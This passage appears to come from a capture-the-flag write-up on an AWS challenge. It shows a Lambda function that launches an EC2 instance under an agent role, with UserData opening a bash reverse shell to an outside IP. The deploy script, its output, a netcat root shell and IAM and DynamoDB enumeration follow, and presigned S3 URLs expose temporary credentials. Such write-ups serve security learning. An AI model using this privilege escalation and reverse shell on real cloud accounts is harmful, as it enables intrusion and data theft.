KHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Date=20220909T100017Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=600&amp;amp;X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d"&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; special.zip
&lt;span class="nt"&gt;--2022-09-09&lt;/span&gt; 06:02:09--  https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId&lt;span class="o"&gt;=&lt;/span&gt;XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&amp;amp;X-Amz-Security-Token&lt;span class="o"&gt;=&lt;/span&gt;IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&amp;amp;X-Amz-Algorithm&lt;span class="o"&gt;=&lt;/span&gt;AWS4-HMAC-SHA256&amp;amp;X-Amz-Date&lt;span class="o"&gt;=&lt;/span&gt;20220909T100017Z&amp;amp;X-Amz-SignedHeaders&lt;span class="o"&gt;=&lt;/span&gt;host&amp;amp;X-Amz-Expires&lt;span class="o"&gt;=&lt;/span&gt;600&amp;amp;X-Amz-Credential&lt;span class="o"&gt;=&lt;/span&gt;ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Signature&lt;span class="o"&gt;=&lt;/span&gt;6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com &lt;span class="o"&gt;(&lt;/span&gt;awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com&lt;span class="o"&gt;)&lt;/span&gt;... 52.219.37.35
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com &lt;span class="o"&gt;(&lt;/span&gt;awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com&lt;span class="o"&gt;)&lt;/span&gt;|52.219.37.35|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 416 &lt;span class="o"&gt;[&lt;/span&gt;application/zip]
Saving to: ‘special.zip’

special.zip                               100%[&lt;span class="o"&gt;=====================================================================================&amp;gt;]&lt;/span&gt;     416  &lt;span class="nt"&gt;--&lt;/span&gt;.-KB/s    &lt;span class="k"&gt;in &lt;/span&gt;0.001s  

2022-09-09 06:02:09 &lt;span class="o"&gt;(&lt;/span&gt;635 KB/s&lt;span class="o"&gt;)&lt;/span&gt; - ‘special.zip’ saved &lt;span class="o"&gt;[&lt;/span&gt;416/416]


┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;dtrx special.zip        
special.zip contains one file but its name doesn&lt;span class="s1"&gt;'t match.
 Expected: special
   Actual: main.py
You can:
 * extract the file _I_nside a new directory named special
 * extract the file and _R_ename it special
 * extract the file _H_ere
What do you want to do?  (I/r/h) 

┌──(kali㉿kali)-[/tmp]
└─$ cd special 

┌──(kali㉿kali)-[/tmp/special]
└─$ ls
main.py

┌──(kali㉿kali)-[/tmp/special]
└─$ cat main.py                        
import boto3

def lambda_handler(event, context):

    # Work in Progress: Requires help from Agents! 

    # ec2 = boto3.resource('&lt;/span&gt;ec2&lt;span class="s1"&gt;')

    # instances = ec2.create_instances(
    #    ImageId="???",
    #    MinCount=1,
    #    MaxCount=1,
    #    InstanceType="t2.micro"
    #)

    return {
        '&lt;/span&gt;status&lt;span class="s1"&gt;': 200,
        '&lt;/span&gt;results&lt;span class="s1"&gt;': '&lt;/span&gt;This is work &lt;span class="k"&gt;in &lt;/span&gt;progress. Agents, palindrome needs your &lt;span class="nb"&gt;help &lt;/span&gt;to &lt;span class="nb"&gt;complete &lt;/span&gt;the workflow! :3&lt;span class="s1"&gt;'
    }

┌──(kali㉿kali)-[/tmp/special]
└─$ 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  AWS EC2
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Lambda Privesc to EC2 agent role
&lt;/h3&gt;

&lt;p&gt;Find a random Amazon Machine Image. Make sure to find one from the specific region&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fim8ymt0j1d1ty7woj1vo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fim8ymt0j1d1ty7woj1vo.png" width="800" height="363"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I made a program to launch an EC2 instance, and through the UserData Parameter, create a reverse shell connection to the attacker.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;lambda_function.py&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;

&lt;span class="c1"&gt;# https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
&lt;/span&gt;&lt;span class="n"&gt;USERNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-95abe82de2174edb98135e48ef896bbd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;SCRIPT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;#!/bin/bash
/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/18.141.129.246/16058 0&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;ROLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;arn:aws:iam::051751498533:role/ec2_agent_role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;REGION_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ap-southeast-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lambda_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;ec2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ec2&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;region_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;REGION_NAME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.ServiceResource.create_instances
&lt;/span&gt;    &lt;span class="c1"&gt;# https://codeflex.co/boto3-create-ec2-with-tags/
&lt;/span&gt;    &lt;span class="n"&gt;instances&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ec2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_instances&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;ImageId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ami-0b89f7b3f054b957e&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Found on AWS Portal
&lt;/span&gt;        &lt;span class="n"&gt;MinCount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;MaxCount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;InstanceType&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t2.micro&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;SubnetId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;subnet-0aa6ecdf900166741&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
        &lt;span class="n"&gt;IamInstanceProfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Arn&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;TagSpecifications&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ResourceType&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;instance&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Tags&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                    &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Key&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;agent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Value&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;USERNAME&lt;/span&gt;
                    &lt;span class="p"&gt;},&lt;/span&gt;
                &lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;UserData&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SCRIPT&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;instance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;instances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;private_ip_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#lambda_handler(None, None)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;./run.sh&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#https://linuxhint.com/generate-random-string-bash/&lt;/span&gt;
&lt;span class="nv"&gt;LAMBDA_FUNC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;user-95abe82de2174edb98135e48ef896bbd-ec2run-&lt;span class="si"&gt;$(&lt;/span&gt;openssl rand &lt;span class="nt"&gt;-hex&lt;/span&gt; 5&lt;span class="si"&gt;)&lt;/span&gt;

pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--target&lt;/span&gt; ./package boto3
&lt;span class="nb"&gt;cd &lt;/span&gt;package
zip &lt;span class="nt"&gt;-r&lt;/span&gt; ../function.zip &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
zip &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; package

aws lambda create-function &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://function.zip &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.7 &lt;span class="nt"&gt;--handler&lt;/span&gt; lambda_function.lambda_handler &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::051751498533:role/lambda_agent_development_role &lt;span class="nt"&gt;--function-name&lt;/span&gt; &lt;span class="nv"&gt;$LAMBDA_FUNC&lt;/span&gt; &lt;span class="nt"&gt;--timeout&lt;/span&gt; 60
aws lambda invoke &lt;span class="nt"&gt;--function-name&lt;/span&gt; &lt;span class="nv"&gt;$LAMBDA_FUNC&lt;/span&gt; /tmp/out.txt
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/out.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Running the exploit
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;lambda_function.py  run.sh

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;./run.sh
updating: lambda_function.py &lt;span class="o"&gt;(&lt;/span&gt;deflated 48%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"FunctionName"&lt;/span&gt;: &lt;span class="s2"&gt;"user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2"&lt;/span&gt;,
    &lt;span class="s2"&gt;"FunctionArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Runtime"&lt;/span&gt;: &lt;span class="s2"&gt;"python3.7"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Role"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Handler"&lt;/span&gt;: &lt;span class="s2"&gt;"lambda_function.lambda_handler"&lt;/span&gt;,
    &lt;span class="s2"&gt;"CodeSize"&lt;/span&gt;: 9332416,
    &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"Timeout"&lt;/span&gt;: 60,
    &lt;span class="s2"&gt;"MemorySize"&lt;/span&gt;: 128,
    &lt;span class="s2"&gt;"LastModified"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T13:17:26.523+0000"&lt;/span&gt;,
    &lt;span class="s2"&gt;"CodeSha256"&lt;/span&gt;: &lt;span class="s2"&gt;"zf3I7mXTzYZpEjT3J42YJG5IkSRrjla3zq4gDHOXdmM="&lt;/span&gt;,
    &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;,
    &lt;span class="s2"&gt;"TracingConfig"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Mode"&lt;/span&gt;: &lt;span class="s2"&gt;"PassThrough"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"RevisionId"&lt;/span&gt;: &lt;span class="s2"&gt;"90d3e86c-ef09-46ba-8bcf-d016c6aa5a97"&lt;/span&gt;,
    &lt;span class="s2"&gt;"State"&lt;/span&gt;: &lt;span class="s2"&gt;"Pending"&lt;/span&gt;,
    &lt;span class="s2"&gt;"StateReason"&lt;/span&gt;: &lt;span class="s2"&gt;"The function is being created."&lt;/span&gt;,
    &lt;span class="s2"&gt;"StateReasonCode"&lt;/span&gt;: &lt;span class="s2"&gt;"Creating"&lt;/span&gt;,
    &lt;span class="s2"&gt;"PackageType"&lt;/span&gt;: &lt;span class="s2"&gt;"Zip"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Architectures"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"x86_64"&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;,
    &lt;span class="s2"&gt;"EphemeralStorage"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Size"&lt;/span&gt;: 512
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"StatusCode"&lt;/span&gt;: 200,
    &lt;span class="s2"&gt;"ExecutedVersion"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"i-0647f6b14ee6acc28"&lt;/span&gt;, &lt;span class="s2"&gt;"10.0.58.178"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;                                                                                                                                                                        
┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-nlvp&lt;/span&gt; 4444
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;127.0.0.1] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;127.0.0.1] 35990
bash: no job control &lt;span class="k"&gt;in &lt;/span&gt;this shell
&lt;span class="o"&gt;[&lt;/span&gt;root@ip-10-0-58-178 /]# 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  AWS DynamoDB
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Role Information
&lt;/h3&gt;

&lt;p&gt;The EC2 agent role is shown to have privileges to access DynamoDB.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam list-attached-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"ec2_agent_role"&lt;/span&gt;   
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"AttachedPolicies"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"PolicyName"&lt;/span&gt;: &lt;span class="s2"&gt;"iam_policy_for_ec2_agent_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"PolicyArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam get-policy &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"&lt;/span&gt;                       
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Policy"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"PolicyName"&lt;/span&gt;: &lt;span class="s2"&gt;"iam_policy_for_ec2_agent_role"&lt;/span&gt;,
        &lt;span class="s2"&gt;"PolicyId"&lt;/span&gt;: &lt;span class="s2"&gt;"ANPAQYDFBGMSUUGDZFFBM"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Path"&lt;/span&gt;: &lt;span class="s2"&gt;"/"&lt;/span&gt;,
        &lt;span class="s2"&gt;"DefaultVersionId"&lt;/span&gt;: &lt;span class="s2"&gt;"v1"&lt;/span&gt;,
        &lt;span class="s2"&gt;"AttachmentCount"&lt;/span&gt;: 1,
        &lt;span class="s2"&gt;"PermissionsBoundaryUsageCount"&lt;/span&gt;: 0,
        &lt;span class="s2"&gt;"IsAttachable"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
        &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;"AWS IAM Policy for EC2 agent node"&lt;/span&gt;,
        &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:34+00:00"&lt;/span&gt;,
        &lt;span class="s2"&gt;"UpdateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:34+00:00"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Tags"&lt;/span&gt;: &lt;span class="o"&gt;[]&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam get-policy-version &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role"&lt;/span&gt; &lt;span class="nt"&gt;--version-id&lt;/span&gt; &lt;span class="s2"&gt;"v1"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"PolicyVersion"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Document"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Statement"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"dynamodb:DescribeTable"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"dynamodb:ListTables"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"dynamodb:Scan"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"dynamodb:Query"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"*"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor0"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;]&lt;/span&gt;,
